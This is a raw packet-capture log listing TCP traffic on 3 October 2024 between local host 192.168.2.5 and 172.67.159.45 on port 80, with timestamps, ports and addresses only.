Oct 3, 2024 05:02:59.060430050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.146794081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.146883011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.146887064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.146960974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.146965981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.146997929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147023916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147032022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147047043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147068024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147084951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147103071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147126913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147149086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147156000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147207022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147216082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147243977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147264004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147294998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147316933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147342920 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147346020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147377968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147423029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147423029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147428989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147464037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147480965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147496939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147504091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147528887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147542953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147562981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147578955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147595882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147614002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147629023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147635937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147663116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147677898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147706985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147761106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147797108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147814035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147828102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147836924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147882938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147912025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147944927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147964001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.147978067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.147988081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148036003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148046970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148081064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148097992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148114920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148118019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148149014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148181915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148205996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148205996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148222923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148226023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148272038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148303986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148334980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148353100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148367882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148372889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148401976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148416996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148453951 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148479939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148514032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148545980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148550987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148591042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148591042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148596048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148631096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148663998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148694992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148701906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148724079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148724079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148729086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148746967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148761034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148793936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148796082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148812056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148829937 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148844957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148863077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148873091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148895025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148912907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148929119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.148952961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148972988 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.148981094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149036884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149207115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149238110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149260044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149271011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149280071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149303913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149324894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149336100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149343967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149369001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149382114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149404049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149416924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149466038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149509907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149543047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149574995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149604082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149606943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149629116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149652958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149667025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149703026 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149708033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149735928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149761915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149770021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149784088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149817944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149844885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149851084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149871111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149884939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149904966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149918079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149943113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149951935 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.149981976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.149983883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150002956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150017977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150044918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150052071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150067091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150109053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150235891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150269985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150302887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150317907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150336027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150336981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150357962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150369883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150378942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150403023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150428057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150435925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.150449038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.150489092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151316881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151345968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151377916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151380062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151421070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151443958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151444912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151478052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151501894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151511908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151555061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151575089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151576996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151609898 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151642084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151643038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151659012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151675940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151695967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151710987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151732922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151763916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151906013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151938915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151958942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.151972055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.151988029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152004957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152029037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152038097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152057886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152070045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152095079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152102947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152122974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152136087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152157068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152168989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152184963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152201891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152221918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152259111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152385950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152440071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152525902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152555943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152579069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152589083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152601957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152626038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152642012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152677059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152678967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152714014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152728081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152762890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152766943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152796030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152817965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152846098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152847052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152880907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152901888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152913094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152937889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152945995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.152957916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.152978897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.153011084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.153013945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.153032064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.153068066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239599943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239644051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239701033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239734888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239770889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239804029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239820957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239820957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239820957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239820957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239820957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239837885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239898920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239902973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239902973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239948988 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.239960909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.239989042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240031958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240072012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240109921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240147114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240200996 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240235090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240255117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240283966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240287066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240318060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240336895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240350008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240366936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240387917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240401030 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240439892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240444899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240490913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240493059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240525007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240545988 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240557909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240576029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240591049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240607977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240624905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240644932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240657091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240672112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240691900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240708113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240720034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240745068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240751028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240766048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240786076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240803957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240818977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240845919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240854025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240870953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240906000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240931034 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240946054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240963936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.240978003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.240995884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241010904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241034985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241039038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241065025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241086006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241090059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241127014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241146088 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241158009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241182089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241190910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241204977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241260052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241266012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241298914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241317987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241331100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241353035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241364002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241374969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241396904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241415977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241430998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241450071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241461992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241480112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241494894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241517067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241523981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241539001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241563082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241576910 CEST	49705	80	192.168.2.5	172.67.159.45
